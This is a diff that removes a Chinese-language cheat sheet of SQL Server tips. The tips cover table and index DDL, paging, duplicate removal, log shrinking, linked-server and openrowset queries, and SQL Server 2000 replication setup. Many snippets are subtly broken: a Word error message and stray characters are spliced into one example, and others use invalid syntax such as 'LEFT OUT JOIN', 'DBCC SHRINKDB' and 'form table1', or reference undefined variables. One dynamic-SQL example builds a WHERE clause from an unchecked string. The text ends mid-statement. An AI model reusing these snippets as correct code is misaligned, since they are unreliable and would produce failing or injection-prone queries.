@ -1,738 +0,0 @@
|
|||
一、基础
|
||||
|
||||
1、说明：创建数据库
|
||||
CREATE DATABASE database-name
|
||||
2、说明：删除数据库
|
||||
drop database dbname
|
||||
3、说明：备份sql server
|
||||
--- 创建 备份数据的 device
|
||||
USE master
|
||||
EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat'
|
||||
--- 开始 备份
|
||||
BACKUP DATABASE pubs TO testBack
|
||||
4、说明：创建新表
|
||||
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
|
||||
|
||||
根据已有的表创建新表：
|
||||
A：create table tab_new like tab_old (使用旧表创建新表)
|
||||
B：create table tab_new as select col1,col2… from tab_old definition only
|
||||
5、说明：删除新表
|
||||
drop table tabname
|
||||
6、说明：增加一个列
|
||||
Alter table tabname add column col type
|
||||
注：列增加后将不能删除。DB2中列加上后数据类型也不能改变，唯一能改变的是增加varchar类型的长度。
|
||||
7、说明：添加主键： Alter table tabname add primary key(col)
|
||||
说明：删除主键： Alter table tabname drop primary key(col)
|
||||
8、说明：创建索引：create [unique] index idxname on tabname(col….)
|
||||
删除索引：drop index idxname
|
||||
注：索引是不可更改的，想更改必须删除重新建。
|
||||
9、说明：创建视图：create view viewname as select statement
|
||||
删除视图：drop view viewname
|
||||
10、说明：几个简单的基本的sql语句
|
||||
选择：select * from table1 where 范围
|
||||
插入：insert into table1(field1,field2) values(value1,value2)
|
||||
删除：delete from table1 where 范围
|
||||
更新：update table1 set field1=value1 where 范围
|
||||
查找：select * from table1 where field1 like ’%value1%’ ---like的语法很精妙，查资料!
|
||||
排序：select * from table1 order by field1,field2 [desc]
|
||||
总数：select count as totalcount from table1
|
||||
求和：select sum(field1) as sumvalue from table1
|
||||
平均：select avg(field1) as avgvalue from table1
|
||||
最大：select max(field1) as maxvalue from table1
|
||||
最小：select min(field1) as minvalue from table1
|
||||
11、说明：几个高级查询运算词
|
||||
A： UNION 运算符
|
||||
UNION 运算符通过组合其他两个结果表（例如 TABLE1 和 TABLE2）并消去表中任何重复行而派生出一个结果表。当 ALL 随 UNION 一起使用时（即 UNION ALL），不消除重复行。两种情况下，派生表的每一行不是来自 TABLE1 就是来自 TABLE2。
|
||||
B： EXCEPT 运算符
|
||||
EXCEPT运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当 ALL 随 EXCEPT 一起使用时 (EXCEPT ALL)，不消除重复行。
|
||||
C： INTERSECT 运算符
|
||||
INTERSECT运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL随 INTERSECT 一起使用时 (INTERSECT ALL)，不消除重复行。
|
||||
注：使用运算词的几个查询结果行必须是一致的。
|
||||
12、说明：使用外连接
|
||||
A、left （outer） join：
|
||||
左外连接（左连接）：结果集几包括连接表的匹配行，也包括左连接表的所有行。
|
||||
SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
|
||||
B：right （outer） join:
|
||||
右外连接(右连接)：结果集既包括连接表的匹配连接行，也包括右连接表的所有行。
|
||||
C：full/cross （outer） join：
|
||||
全外连接：不仅包括符号连接表的匹配行，还包括两个连接表中的所有记录。
|
||||
12、分组:Group by:
|
||||
一张表，一旦分组 完成后，查询后只能得到组相关的信息。
|
||||
组相关的信息：（统计信息） count,sum,max,min,avg 分组的标准)
|
||||
在SQLServer中分组时：不能以text,ntext,image类型的字段作为分组依据
|
||||
在selecte统计函数中的字段，不能和普通的字段放在一起；
|
||||
|
||||
13、对数据库进行操作：
|
||||
分离数据库： sp_detach_db;附加数据库：sp_attach_db 后接表明，附加需要完整的路径名
|
||||
14.如何修改数据库的名称:
|
||||
sp_renamedb 'old_name', 'new_name'
|
||||
|
||||
二、提升
|
||||
1、说明：复制表(只复制结构,源表名：a 新表名：b) (Access可用)
|
||||
法一：select * into b from a where 1<>1（仅用于SQlServer）
|
||||
法二：select top 0 * into b from a
|
||||
2、说明：拷贝表(拷贝数据,源表名：a 目标表名：b) (Access可用)
|
||||
insert into b(a, b, c) select d,e,f from b;
|
||||
|
||||
3、说明：跨数据库之间表的拷贝(具体数据使用绝对路径) (Access可用)
|
||||
insert into b(a, b, c) select d,e,f from b in ‘具体数据库’ where 条件
|
||||
例子：..from b in '"&Server.MapPath(".")&"\data.mdb" &"' where..
|
||||
|
||||
4、说明：子查询(表名1：a 表名2：b)
|
||||
select a,b,c from a where a IN (select d from b ) 或者: select a,b,c from a where a IN (1,2,3)
|
||||
|
||||
5、说明：显示文章、提交人和最后回复时间
|
||||
select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b
|
||||
|
||||
6、说明：外连接查询(表名1：a 表名2：b)
|
||||
select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
|
||||
|
||||
7、说明：在线视图查询(表名1：a )
|
||||
select * from (SELECT a,b,c FROM a) T where t.a > 1;
|
||||
|
||||
8、说明：between的用法,between限制查询数据范围时包括了边界值,not between不包括
|
||||
select * from table1 where time between time1 and time2
|
||||
select a,b,c, from table1 where a not between 数值1 and 数值2
|
||||
|
||||
9、说明：in 的使用方法
|
||||
select * from table1 where a [not] in (‘值1’,’值2’,’值4’,’值6’)
|
||||
|
||||
10、说明：两张关联表，删除主表中已经在副表中没有的信息
|
||||
delete from table1 where not exists ( select * from table2 where table1.field1=table2.field1 )
|
||||
|
||||
11、说明：四表联查问题：
|
||||
select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....
|
||||
|
||||
12、说明：日程安排提前五分钟提醒
|
||||
SQL: select * from 日程安排 where datediff('minute',f开始时间,getdate())>5
|
||||
|
||||
13、说明：一条sql 语句搞定数据库分页
|
||||
select top 10 b.* from (select top 20 主键字段,排序字段 from 表名 order by 排序字段 desc) a,表名 b where b.主键字段 = a.主键字段 order by a.排序字段
|
||||
具体实现：
|
||||
关于数据库分页：
|
||||
|
||||
declare @start int,@end int
|
||||
|
||||
@sql nvarchar(600)
|
||||
|
||||
set @sql=’select top’+str(@end-@start+1)+’+from T where rid not in(select top’+str(@str-1)+’Rid from T where Rid>-1)’
|
||||
|
||||
exec sp_executesql @sql
|
||||
|
||||
|
||||
注意：在top后不能直接跟一个变量，所以在实际应用中只有这样的进行特殊的处理。Rid为一个标识列，如果top后还有具体的字段，这样做是非常有好处的。因为这样可以避免 top的字段如果是逻辑索引的，查询的结果后实际表中的不一致（逻辑索引中的数据有可能和数据表中的不一致，而查询时如果处在索引则首先查询索引）
|
||||
|
||||
14、说明：前10条记录
|
||||
select top 10 * form table1 where 范围
|
||||
|
||||
15、说明：选择在每一组b值相同的数据中对应的a最大的记录的所有信息(类似这样的用法可以用于论坛每月排行榜,每月热销产品分析,按科目成绩排名,等等.)
|
||||
select a,b,c from tablename ta where a=(select max(a) from tablename tb where tb.b=ta.b)
|
||||
|
||||
16、说明：包括所有在 TableA中但不在 TableB和TableC中的行并消除所有重复行而派生出一个结果表
|
||||
(select a from tableA ) except (select a from tableB) except (select a from tableC)
|
||||
|
||||
17、说明：随机取出10条数据
|
||||
select top 10 * from tablename order by newid()
|
||||
|
||||
18、说明：随机选择记录
|
||||
select newid()
|
||||
|
||||
19、说明：删除重复记录
|
||||
1),delete from tablename where id not in (select max(id) from tablename group by col1,col2,...)
|
||||
2),select distinct * into temp from tablename
|
||||
delete from tablename
|
||||
insert into tablename select * from temp
|
||||
评价： 这种操作牵连大量的数据的移动，这种做法不适合大容量但数据操作
|
||||
3),例如：在一个外部表中导入数据，由于某些原因第一次只导入了一部分，但很难判断具体位置，这样只有在下一次全部导入，这样也就产生好多重复的字段，怎样删除重复字段
|
||||
|
||||
alter table tablename
|
||||
--添加一个自增列
|
||||
add column_b int identity(1,1)
|
||||
delete from tablename where column_b not in(
|
||||
select max(column_b) from tablename group by column1,column2,...)
|
||||
alter table tablename drop column column_b
|
||||
|
||||
20、说明：列出数据库里所有的表名
|
||||
select name from sysobjects where type='U' // U代表用户
|
||||
|
||||
21、说明：列出表里的所有的列名
|
||||
select name from syscolumns where id=object_id('TableName')
|
||||
|
||||
22、说明：列示type、vender、pcs字段，以type字段排列，case可以方便地实现多重选择，类似select 中的case。
|
||||
select type,sum(case vender when 'A' then pcs else 0 end),sum(case vender when 'C' then pcs else 0 end),sum(case vender when 'B' then pcs else 0 end) FROM tablename group by type
|
||||
显示结果：
|
||||
type vender pcs
|
||||
电脑 A 1
|
||||
电脑 A 1
|
||||
光盘 B 2
|
||||
光盘 A 2
|
||||
手机 B 3
|
||||
手机 C 3
|
||||
|
||||
23、说明：初始化表table1
|
||||
|
||||
TRUNCATE TABLE table1
|
||||
|
||||
24、说明：选择从10到15的记录
|
||||
select top 5 * from (select top 15 * from table order by id asc) table_别名 order by id desc
|
||||
|
||||
三、技巧
|
||||
|
||||
1、1=1，1=2的使用，在SQL语句组合时用的较多
|
||||
|
||||
“where 1=1” 是表示选择全部 “where 1=2”全部不选，
|
||||
如：
|
||||
if @strWhere !=''
|
||||
begin
|
||||
set @strSQL = 'select count(*) as Total from [' + @tblName + '] where ' + @strWhere
|
||||
end
|
||||
else
|
||||
begin
|
||||
set @strSQL = 'select count(*) as Total from [' + @tblName + ']'
|
||||
end
|
||||
|
||||
我们可以直接写成
|
||||
错误！未找到目录项。
|
||||
set @strSQL = 'select count(*) as Total from [' + @tblName + '] where 1=1 安定 '+ @strWhere 2、收缩数据库
|
||||
--重建索引
|
||||
DBCC REINDEX
|
||||
DBCC INDEXDEFRAG
|
||||
--收缩数据和日志
|
||||
DBCC SHRINKDB
|
||||
DBCC SHRINKFILE
|
||||
|
||||
3、压缩数据库
|
||||
dbcc shrinkdatabase(dbname)
|
||||
|
||||
4、转移数据库给新用户以已存在用户权限
|
||||
exec sp_change_users_login 'update_one','newname','oldname'
|
||||
go
|
||||
|
||||
5、检查备份集
|
||||
RESTORE VERIFYONLY from disk='E:\dvbbs.bak'
|
||||
|
||||
6、修复数据库
|
||||
ALTER DATABASE [dvbbs] SET SINGLE_USER
|
||||
GO
|
||||
DBCC CHECKDB('dvbbs',repair_allow_data_loss) WITH TABLOCK
|
||||
GO
|
||||
ALTER DATABASE [dvbbs] SET MULTI_USER
|
||||
GO
|
||||
|
||||
7、日志清除
|
||||
SET NOCOUNT ON
|
||||
DECLARE @LogicalFileName sysname,
|
||||
@MaxMinutes INT,
|
||||
@NewSize INT
|
||||
|
||||
USE tablename -- 要操作的数据库名
|
||||
SELECT @LogicalFileName = 'tablename_log', -- 日志文件名
|
||||
@MaxMinutes = 10, -- Limit on time allowed to wrap log.
|
||||
@NewSize = 1 -- 你想设定的日志文件的大小(M)
|
||||
|
||||
Setup / initialize
|
||||
DECLARE @OriginalSize int
|
||||
SELECT @OriginalSize = size
|
||||
FROM sysfiles
|
||||
WHERE name = @LogicalFileName
|
||||
SELECT 'Original Size of ' + db_name() + ' LOG is ' +
|
||||
CONVERT(VARCHAR(30),@OriginalSize) + ' 8K pages or ' +
|
||||
CONVERT(VARCHAR(30),(@OriginalSize*8/1024)) + 'MB'
|
||||
FROM sysfiles
|
||||
WHERE name = @LogicalFileName
|
||||
CREATE TABLE DummyTrans
|
||||
(DummyColumn char (8000) not null)
|
||||
|
||||
DECLARE @Counter INT,
|
||||
@StartTime DATETIME,
|
||||
@TruncLog VARCHAR(255)
|
||||
SELECT @StartTime = GETDATE(),
|
||||
@TruncLog = 'BACKUP LOG ' + db_name() + ' WITH TRUNCATE_ONLY'
|
||||
|
||||
DBCC SHRINKFILE (@LogicalFileName, @NewSize)
|
||||
EXEC (@TruncLog)
|
||||
-- Wrap the log if necessary.
|
||||
WHILE @MaxMinutes > DATEDIFF (mi, @StartTime, GETDATE()) -- time has not expired
|
||||
AND @OriginalSize = (SELECT size FROM sysfiles WHERE name = @LogicalFileName)
|
||||
AND (@OriginalSize * 8 /1024) > @NewSize
|
||||
BEGIN -- Outer loop.
|
||||
SELECT @Counter = 0
|
||||
WHILE ((@Counter < @OriginalSize / 16) AND (@Counter < 50000))
|
||||
BEGIN -- update
|
||||
INSERT DummyTrans VALUES ('Fill Log') DELETE DummyTrans
|
||||
SELECT @Counter = @Counter + 1
|
||||
END
|
||||
|
||||
SELECT 'Final Size of ' + db_name() + ' LOG is ' +
|
||||
CONVERT(VARCHAR(30),size) + ' 8K pages or ' +
|
||||
CONVERT(VARCHAR(30),(size*8/1024)) + 'MB'
|
||||
FROM sysfiles
|
||||
WHERE name = @LogicalFileName
|
||||
DROP TABLE DummyTrans
|
||||
SET NOCOUNT OFF
|
||||
|
||||
8、说明：更改某个表
|
||||
exec sp_changeobjectowner 'tablename','dbo'
|
||||
|
||||
9、存储更改全部表
|
||||
|
||||
CREATE PROCEDURE dbo.User_ChangeObjectOwnerBatch
|
||||
@OldOwner as NVARCHAR(128),
|
||||
@NewOwner as NVARCHAR(128)
|
||||
AS
|
||||
|
||||
DECLARE @Name as NVARCHAR(128)
|
||||
DECLARE @Owner as NVARCHAR(128)
|
||||
DECLARE @OwnerName as NVARCHAR(128)
|
||||
|
||||
DECLARE curObject CURSOR FOR
|
||||
select 'Name' = name,
|
||||
'Owner' = user_name(uid)
|
||||
from sysobjects
|
||||
where user_name(uid)=@OldOwner
|
||||
order by name
|
||||
|
||||
OPEN curObject
|
||||
FETCH NEXT FROM curObject INTO @Name, @Owner
|
||||
WHILE(@@FETCH_STATUS=0)
|
||||
BEGIN
|
||||
if @Owner=@OldOwner
|
||||
|
||||
begin
|
||||
set @OwnerName = @OldOwner + '.' + rtrim(@Name)
|
||||
exec sp_changeobjectowner @OwnerName, @NewOwner
|
||||
end
|
||||
-- select @name,@NewOwner,@OldOwner
|
||||
|
||||
FETCH NEXT FROM curObject INTO @Name, @Owner
|
||||
END
|
||||
|
||||
close curObject
|
||||
deallocate curObject
|
||||
GO
|
||||
|
||||
|
||||
10、SQL SERVER中直接循环写入数据
|
||||
declare @i int
|
||||
set @i=1
|
||||
while @i<30
|
||||
begin
|
||||
insert into test (userid) values(@i)
|
||||
set @i=@i+1
|
||||
end
|
||||
案例：
|
||||
有如下表，要求就裱中所有沒有及格的成績，在每次增長0.1的基礎上，使他們剛好及格:
|
||||
|
||||
Name score
|
||||
|
||||
Zhangshan 80
|
||||
|
||||
Lishi 59
|
||||
|
||||
Wangwu 50
|
||||
|
||||
Songquan 69
|
||||
|
||||
while((select min(score) from tb_table)<60)
|
||||
|
||||
begin
|
||||
|
||||
update tb_table set score =score*1.01
|
||||
|
||||
where score<60
|
||||
|
||||
if (select min(score) from tb_table)>60
|
||||
|
||||
break
|
||||
|
||||
else
|
||||
|
||||
continue
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
数据开发-经典
|
||||
|
||||
|
||||
1.按姓氏笔画排序:
|
||||
Select * From TableName Order By CustomerName Collate Chinese_PRC_Stroke_ci_as //从少到多
|
||||
|
||||
2.数据库加密:
|
||||
select encrypt('原始密码')
|
||||
select pwdencrypt('原始密码')
|
||||
select pwdcompare('原始密码','加密后密码') = 1--相同；否则不相同 encrypt('原始密码')
|
||||
select pwdencrypt('原始密码')
|
||||
select pwdcompare('原始密码','加密后密码') = 1--相同；否则不相同
|
||||
|
||||
3.取回表中字段:
|
||||
declare @list varchar(1000),
|
||||
@sql nvarchar(1000)
|
||||
select @list=@list+','+b.name from sysobjects a,syscolumns b where a.id=b.id and a.name='表A'
|
||||
set @sql='select '+right(@list,len(@list)-1)+' from 表A'
|
||||
exec (@sql)
|
||||
|
||||
4.查看硬盘分区:
|
||||
EXEC master..xp_fixeddrives
|
||||
|
||||
5.比较A,B表是否相等:
|
||||
if (select checksum_agg(binary_checksum(*)) from A)
|
||||
=
|
||||
(select checksum_agg(binary_checksum(*)) from B)
|
||||
print '相等'
|
||||
else
|
||||
print '不相等'
|
||||
|
||||
6.杀掉所有的事件探察器进程:
|
||||
DECLARE hcforeach CURSOR GLOBAL FOR SELECT 'kill '+RTRIM(spid) FROM master.dbo.sysprocesses
|
||||
WHERE program_name IN('SQL profiler',N'SQL 事件探查器')
|
||||
EXEC sp_msforeach_worker '?'
|
||||
|
||||
7.记录搜索:
|
||||
开头到N条记录
|
||||
Select Top N * From 表
|
||||
-------------------------------
|
||||
N到M条记录(要有主索引ID)
|
||||
Select Top M-N * From 表 Where ID in (Select Top M ID From 表) Order by ID Desc
|
||||
----------------------------------
|
||||
N到结尾记录
|
||||
Select Top N * From 表 Order by ID Desc
|
||||
案例
|
||||
例如1：一张表有一万多条记录，表的第一个字段 RecID 是自增长字段， 写一个SQL语句， 找出表的第31到第40个记录。
|
||||
|
||||
select top 10 recid from A where recid not in(select top 30 recid from A)
|
||||
|
||||
分析：如果这样写会产生某些问题，如果recid在表中存在逻辑索引。
|
||||
|
||||
select top 10 recid from A where……是从索引中查找，而后面的select top 30 recid from A则在数据表中查找，这样由于索引中的顺序有可能和数据表中的不一致，这样就导致查询到的不是本来的欲得到的数据。
|
||||
|
||||
解决方案
|
||||
|
||||
1，用order by select top 30 recid from A order by ricid 如果该字段不是自增长，就会出现问题
|
||||
|
||||
2，在那个子查询中也加条件：select top 30 recid from A where recid>-1
|
||||
|
||||
例2：查询表中的最后以条记录，并不知道这个表共有多少数据,以及表结构。
|
||||
set @s = 'select top 1 * from T where pid not in (select top ' + str(@count-1) + ' pid from T)'
|
||||
|
||||
print @s exec sp_executesql @s
|
||||
|
||||
9：获取当前数据库中的所有用户表
|
||||
select Name from sysobjects where xtype='u' and status>=0
|
||||
|
||||
10：获取某一个表的所有字段
|
||||
select name from syscolumns where id=object_id('表名')
|
||||
|
||||
select name from syscolumns where id in (select id from sysobjects where type = 'u' and name = '表名')
|
||||
|
||||
两种方式的效果相同
|
||||
|
||||
11：查看与某一个表相关的视图、存储过程、函数
|
||||
select a.* from sysobjects a, syscomments b where a.id = b.id and b.text like '%表名%'
|
||||
|
||||
12：查看当前数据库中所有存储过程
|
||||
select name as 存储过程名称 from sysobjects where xtype='P'
|
||||
|
||||
13：查询用户创建的所有数据库
|
||||
select * from master..sysdatabases D where sid not in(select sid from master..syslogins where name='sa')
|
||||
或者
|
||||
select dbid, name AS DB_NAME from master..sysdatabases where sid <> 0x01
|
||||
|
||||
14：查询某一个表的字段和数据类型
|
||||
select column_name,data_type from information_schema.columns
|
||||
where table_name = '表名'
|
||||
|
||||
15：不同服务器数据库之间的数据操作
|
||||
|
||||
--创建链接服务器
|
||||
|
||||
exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '远程服务器名或ip地址 '
|
||||
|
||||
exec sp_addlinkedsrvlogin 'ITSV ', 'false ',null, '用户名 ', '密码 '
|
||||
|
||||
--查询示例
|
||||
|
||||
select * from ITSV.数据库名.dbo.表名
|
||||
|
||||
--导入示例
|
||||
|
||||
select * into 表 from ITSV.数据库名.dbo.表名
|
||||
|
||||
--以后不再使用时删除链接服务器
|
||||
|
||||
exec sp_dropserver 'ITSV ', 'droplogins '
|
||||
|
||||
|
||||
|
||||
--连接远程/局域网数据(openrowset/openquery/opendatasource)
|
||||
|
||||
--1、openrowset
|
||||
|
||||
--查询示例
|
||||
|
||||
select * from openrowset( 'SQLOLEDB ', 'sql服务器名 '; '用户名 '; '密码 ',数据库名.dbo.表名)
|
||||
|
||||
--生成本地表
|
||||
|
||||
select * into 表 from openrowset( 'SQLOLEDB ', 'sql服务器名 '; '用户名 '; '密码 ',数据库名.dbo.表名)
|
||||
|
||||
|
||||
|
||||
--把本地表导入远程表
|
||||
|
||||
insert openrowset( 'SQLOLEDB ', 'sql服务器名 '; '用户名 '; '密码 ',数据库名.dbo.表名)
|
||||
|
||||
select *from 本地表
|
||||
|
||||
--更新本地表
|
||||
|
||||
update b
|
||||
|
||||
set b.列A=a.列A
|
||||
|
||||
from openrowset( 'SQLOLEDB ', 'sql服务器名 '; '用户名 '; '密码 ',数据库名.dbo.表名)as a inner join 本地表 b
|
||||
|
||||
on a.column1=b.column1
|
||||
|
||||
--openquery用法需要创建一个连接
|
||||
|
||||
--首先创建一个连接创建链接服务器
|
||||
|
||||
exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '远程服务器名或ip地址 '
|
||||
|
||||
--查询
|
||||
|
||||
select *
|
||||
|
||||
FROM openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ')
|
||||
|
||||
--把本地表导入远程表
|
||||
|
||||
insert openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ')
|
||||
|
||||
select * from 本地表
|
||||
|
||||
--更新本地表
|
||||
|
||||
update b
|
||||
|
||||
set b.列B=a.列B
|
||||
|
||||
FROM openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ') as a
|
||||
|
||||
inner join 本地表 b on a.列A=b.列A
|
||||
|
||||
|
||||
|
||||
--3、opendatasource/openrowset
|
||||
|
||||
SELECT *
|
||||
|
||||
FROM opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName;User ID=登陆名;Password=密码 ' ).test.dbo.roy_ta
|
||||
|
||||
--把本地表导入远程表
|
||||
|
||||
insert opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName;User ID=登陆名;Password=密码 ').数据库.dbo.表名
|
||||
|
||||
select * from 本地表
|
||||
|
||||
SQL Server基本函数
|
||||
|
||||
SQL Server基本函数
|
||||
|
||||
1.字符串函数 长度与分析用
|
||||
|
||||
1,datalength(Char_expr) 返回字符串包含字符数,但不包含后面的空格
|
||||
2,substring(expression,start,length) 取子串，字符串的下标是从“1”，start为起始位置，length为字符串长度，实际应用中以len(expression)取得其长度
|
||||
3,right(char_expr,int_expr) 返回字符串右边第int_expr个字符，还用left于之相反
|
||||
4,isnull( check_expression , replacement_value )如果check_expression為空，則返回replacement_value的值，不為空，就返回check_expression字符操作类
|
||||
|
||||
5,Sp_addtype自定義數據類型
|
||||
例如：EXEC sp_addtype birthday, datetime, 'NULL'
|
||||
|
||||
6,set nocount {on|off}
|
||||
|
||||
使返回的结果中不包含有关受 Transact-SQL 语句影响的行数的信息。如果存储过程中包含的一些语句并不返回许多实际的数据，则该设置由于大量减少了网络流量，因此可显著提高性能。SET NOCOUNT 设置是在执行或运行时设置，而不是在分析时设置。SET NOCOUNT 为 ON 时，不返回计数（表示受 Transact-SQL 语句影响的行数）。
|
||||
|
||||
|
||||
|
||||
SET NOCOUNT
|
||||
|
||||
为 OFF 时，返回计数
|
||||
|
||||
常识
|
||||
|
||||
|
||||
|
||||
在SQL查询中：from后最多可以跟多少张表或视图：256在SQL语句中出现 Order by,查询时，先排序，后取在SQL中，一个字段的最大容量是8000，而对于nvarchar(4000),由于nvarchar是Unicode码。
|
||||
|
||||
|
||||
|
||||
SQLServer2000
|
||||
|
||||
同步复制技术实现步骤
|
||||
|
||||
一、 预备工作
|
||||
|
||||
1.发布服务器,订阅服务器都创建一个同名的windows用户,并设置相同的密码,做为发布快照文件夹的有效访问用户--管理工具--计算机管理--用户和组--右键用户--新建用户--建立一个隶属于administrator组的登陆windows的用户（SynUser）2.在发布服务器上,新建一个共享目录,做为发布的快照文件的存放目录,操作:
|
||||
|
||||
我的电脑--D:\ 新建一个目录,名为: PUB
|
||||
|
||||
--右键这个新建的目录--属性--共享--选择"共享该文件夹"--通过"权限"按纽来设置具体的用户权限,保证第一步中创建的用户(SynUser) 具有对该文件夹的所有权限
|
||||
|
||||
|
||||
|
||||
--确定3.设置SQL代理(SQLSERVERAGENT)服务的启动用户(发布/订阅服务器均做此设置)
|
||||
|
||||
开始--程序--管理工具--服务
|
||||
|
||||
--右键SQLSERVERAGENT--属性--登陆--选择"此账户"--输入或者选择第一步中创建的windows登录用户名（SynUser）--"密码"中输入该用户的密码4.设置SQL Server身份验证模式,解决连接时的权限问题(发布/订阅服务器均做此设置)
|
||||
|
||||
企业管理器
|
||||
|
||||
--右键SQL实例--属性--安全性--身份验证--选择"SQL Server 和 Windows"--确定5.在发布服务器和订阅服务器上互相注册
|
||||
|
||||
企业管理器
|
||||
|
||||
--右键SQL Server组--新建SQL Server注册...--下一步--可用的服务器中,输入你要注册的远程服务器名 --添加--下一步--连接使用,选择第二个"SQL Server身份验证"--下一步--输入用户名和密码（SynUser）--下一步--选择SQL Server组,也可以创建一个新组--下一步--完成6.对于只能用IP,不能用计算机名的,为其注册服务器别名（此步在实施中没用到） (在连接端配置,比如,在订阅服务器上配置的话,服务器名称中输入的是发布服务器的IP)
|
||||
|
||||
开始--程序--Microsoft SQL Server--客户端网络实用工具
|
||||
|
||||
--别名--添加--网络库选择"tcp/ip"--服务器别名输入SQL服务器名--连接参数--服务器名称中输入SQL服务器ip地址--如果你修改了SQL的端口,取消选择"动态决定端口",并输入对应的端口号
|
||||
|
||||
二、 正式配置
|
||||
|
||||
1、配置发布服务器
|
||||
|
||||
打开企业管理器，在发布服务器（B、C、D）上执行以下步骤:
|
||||
|
||||
(1) 从[工具]下拉菜单的[复制]子菜单中选择[配置发布、订阅服务器和分发]出现配置发布和分发向导(2) [下一步] 选择分发服务器 可以选择把发布服务器自己作为分发服务器或者其他sql的服务器（选择自己）(3) [下一步] 设置快照文件夹
|
||||
|
||||
采用默认\\servername\Pub
|
||||
|
||||
(4) [下一步] 自定义配置
|
||||
|
||||
可以选择:是,让我设置分发数据库属性启用发布服务器或设置发布设置
|
||||
|
||||
否,使用下列默认设置（推荐）
|
||||
|
||||
(5) [下一步] 设置分发数据库名称和位置 采用默认值(6) [下一步] 启用发布服务器 选择作为发布的服务器(7) [下一步] 选择需要发布的数据库和发布类型(8) [下一步] 选择注册订阅服务器(9) [下一步] 完成配置2、创建出版物
|
||||
|
||||
发布服务器B、C、D上
|
||||
|
||||
(1)从[工具]菜单的[复制]子菜单中选择[创建和管理发布]命令(2)选择要创建出版物的数据库，然后单击[创建发布](3)在[创建发布向导]的提示对话框中单击[下一步]系统就会弹出一个对话框。对话框上的内容是复制的三个类型。我们现在选第一个也就是默认的快照发布(其他两个大家可以去看看帮助)(4)单击[下一步]系统要求指定可以订阅该发布的数据库服务器类型,SQLSERVER允许在不同的数据库如 orACLE或ACCESS之间进行数据复制。
|
||||
|
||||
但是在这里我们选择运行"SQL SERVER 2000"的数据库服务器
|
||||
|
||||
(5)单击[下一步]系统就弹出一个定义文章的对话框也就是选择要出版的表
|
||||
|
||||
注意: 如果前面选择了事务发布 则再这一步中只能选择带有主键的表
|
||||
|
||||
(6)选择发布名称和描述(7)自定义发布属性 向导提供的选择:
|
||||
|
||||
是 我将自定义数据筛选,启用匿名订阅和或其他自定义属性
|
||||
|
||||
否 根据指定方式创建发布 （建议采用自定义的方式）
|
||||
|
||||
(8)[下一步] 选择筛选发布的方式(9)[下一步] 可以选择是否允许匿名订阅1)如果选择署名订阅,则需要在发布服务器上添加订阅服务器
|
||||
|
||||
方法: [工具]->[复制]->[配置发布、订阅服务器和分发的属性]->[订阅服务器] 中添加
|
||||
|
||||
否则在订阅服务器上请求订阅时会出现的提示:改发布不允许匿名订阅
|
||||
|
||||
如果仍然需要匿名订阅则用以下解决办法
|
||||
|
||||
[企业管理器]->[复制]->[发布内容]->[属性]->[订阅选项] 选择允许匿名请求订阅2)如果选择匿名订阅,则配置订阅服务器时不会出现以上提示(10)[下一步] 设置快照 代理程序调度(11)[下一步] 完成配置
|
||||
|
||||
当完成出版物的创建后创建出版物的数据库也就变成了一个共享数据库
|
||||
|
||||
有数据
|
||||
|
||||
srv1.库名..author有字段:id,name,phone, srv2.库名..author有字段:id,name,telphone,adress
|
||||
|
||||
|
||||
|
||||
要求：
|
||||
|
||||
srv1.库名..author增加记录则srv1.库名..author记录增加srv1.库名..author的phone字段更新，则srv1.库名..author对应字段telphone更新
|
||||
|
||||
--*/
|
||||
|
||||
|
||||
|
||||
--大致的处理步骤--1.在 srv1 上创建连接服务器,以便在 srv1 中操作 srv2,实现同步exec sp_addlinkedserver 'srv2','','SQLOLEDB','srv2的sql实例名或ip' exec sp_addlinkedsrvlogin 'srv2','false',null,'用户名','密码'
|
||||
|
||||
go
|
||||
|
||||
--2.在 srv1 和 srv2 这两台电脑中,启动 msdtc(分布式事务处理服务),并且设置为自动启动
|
||||
|
||||
。我的电脑--控制面板--管理工具--服务--右键 Distributed Transaction Coordinator--属性--启动--并将启动类型设置为自动启动
|
||||
|
||||
go
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
--然后创建一个作业定时调用上面的同步处理存储过程就行了
|
||||
|
||||
|
||||
|
||||
企业管理器
|
||||
|
||||
--管理--SQL Server代理--右键作业--新建作业--"常规"项中输入作业名称--"步骤"项--新建--"步骤名"中输入步骤名--"类型"中选择"Transact-SQL 脚本(TSQL)" --"数据库"选择执行命令的数据库--"命令"中输入要执行的语句: exec p_process --确定--"调度"项--新建调度--"名称"中输入调度名称--"调度类型"中选择你的作业执行安排--如果选择"反复出现" --点"更改"来设置你的时间安排
|
||||
|
||||
|
||||
|
||||
然后将SQL Agent服务启动,并设置为自动启动,否则你的作业不会被执行
|
||||
|
||||
|
||||
设置方法:
|
||||
|
||||
我的电脑--控制面板--管理工具--服务--右键 SQLSERVERAGENT--属性--启动类型--选择"自动启动"--确定.
|
||||
|
||||
|
||||
--3.实现同步处理的方法2,定时同步
|
||||
|
||||
|
||||
|
||||
--在srv1中创建如下的同步处理存储过程
|
||||
|
||||
create proc p_process
|
||||
|
||||
as
|
||||
|
||||
--更新修改过的数据
|
||||
|
||||
update b set name=i.name,telphone=i.telphone
|
||||
|
||||
from srv2.库名.dbo.author b,author i
|
||||
|
||||
where b.id=i.id and
|
||||
|
||||
(b.name <> i.name or b.telphone <> i.telphone)
|
||||
|
||||
|
||||
|
||||
--插入新增的数据insert srv2.库名.dbo.author(id,name,telphone)
|
||||
|
||||
